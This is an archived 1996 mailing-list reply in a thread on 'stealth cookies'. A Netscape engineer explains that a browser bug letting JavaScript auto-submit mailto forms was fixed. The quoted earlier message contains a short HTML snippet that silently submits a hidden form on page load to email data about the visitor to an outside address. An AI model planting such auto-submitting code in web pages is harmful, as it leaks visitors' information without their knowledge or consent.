cryptoanarchy.wiki

Arise, you have nothing to lose but your barbed wire fences!

1996-08-07 - Re: Stealth cookies

Header Data

From: Jeff Weinstein <jsw@netscape.com>
To: “John F. Fricker” <jfricker@vertexgroup.com>
Message Hash: 86a5ef7a4bd9f5b8025d28c7a9e6da099a1320ce5fb0fb251dc05acc369fb698
Message ID: <3207E80C.79D1@netscape.com>
Reply To: <2.2.32.19960806171618.00a52aec@vertexgroup.com>
UTC Datetime: 1996-08-07 04:23:48 UTC
Raw Date: Wed, 7 Aug 1996 12:23:48 +0800

Raw message

From: Jeff Weinstein <jsw@netscape.com>
Date: Wed, 7 Aug 1996 12:23:48 +0800
To: "John F. Fricker" <jfricker@vertexgroup.com>
Subject: Re: Stealth cookies
In-Reply-To: <2.2.32.19960806171618.00a52aec@vertexgroup.com>
Message-ID: <3207E80C.79D1@netscape.com>
MIME-Version: 1.0
Content-Type: text/plain


John F. Fricker wrote:
> Oh I was just being paranoid I guess. There used to be JavaScript that would
> automatically send email from a page. something like
> 
> <html>
> <body onLoad="document.mailme.submit()">
> <form method=post name="mailme"
> action="mailto:john@vertexgroup.com?subject=user address">
> <input type=hidden name="userAddress" value="done">
> </form>
> </body>
> </html>
> 
> But even if that still works it would be a good trick to associate it with a
> cookie.

  This was a bug that existed for a short time, and was fixed about
6 months ago.  Javascript can not submit mailto: forms at all, and
all mailto: forms now cause a warning dialog to come up(the dialog
can be turned off in preferences).

	--Jeff

-- 
Jeff Weinstein - Electronic Munitions Specialist
Netscape Communication Corporation
jsw@netscape.com - http://home.netscape.com/people/jsw
Any opinions expressed above are mine.

Thread